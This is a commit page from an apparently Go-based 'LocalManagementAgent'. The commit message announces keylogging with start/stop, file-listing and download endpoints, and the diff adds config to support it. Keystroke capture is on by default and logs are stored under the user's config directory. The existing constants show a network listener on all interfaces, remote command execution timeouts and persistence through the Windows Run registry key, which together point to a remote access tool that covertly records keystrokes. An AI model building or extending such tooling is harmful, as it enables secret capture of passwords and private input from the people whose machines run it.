Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
+45
-11
@@ -2,21 +2,26 @@ package config
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
Version = "1.0.0"
|
||||
DefaultAddr = "0.0.0.0:5032"
|
||||
MutexName = "LocalManagementAgent_Mutex"
|
||||
RequestBodyMax = 1 << 20
|
||||
MaxListEntries = 10000
|
||||
MaxImageQuality = 100
|
||||
DefaultExecTO = 30
|
||||
MaxExecTO = 120
|
||||
StartupValueName = "LocalManagementAgent"
|
||||
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
MaxInputText = 4096
|
||||
Version = "1.0.0"
|
||||
DefaultAddr = "0.0.0.0:5032"
|
||||
MutexName = "LocalManagementAgent_Mutex"
|
||||
RequestBodyMax = 1 << 20
|
||||
MaxListEntries = 10000
|
||||
MaxImageQuality = 100
|
||||
DefaultExecTO = 30
|
||||
MaxExecTO = 120
|
||||
StartupValueName = "LocalManagementAgent"
|
||||
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
MaxInputText = 4096
|
||||
AppDataDir = "LocalManagementAgent"
|
||||
KeylogSubdir = "keystrokes"
|
||||
DefaultKeylogRetentionDays = 7
|
||||
)
|
||||
|
||||
func EnvOr(name, fallback string) string {
|
||||
@@ -25,3 +30,32 @@ func EnvOr(name, fallback string) string {
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
func KeylogEnabled() bool {
|
||||
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
||||
case "0", "false", "no", "off":
|
||||
return false
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func KeylogRetentionDays() int {
|
||||
raw := strings.TrimSpace(os.Getenv("KEYLOG_RETENTION_DAYS"))
|
||||
if raw == "" {
|
||||
return DefaultKeylogRetentionDays
|
||||
}
|
||||
days, err := strconv.Atoi(raw)
|
||||
if err != nil || days < 0 {
|
||||
return DefaultKeylogRetentionDays
|
||||
}
|
||||
return days
|
||||
}
|
||||
|
||||
func KeylogDir() (string, error) {
|
||||
base, err := os.UserConfigDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(base, AppDataDir, KeylogSubdir), nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user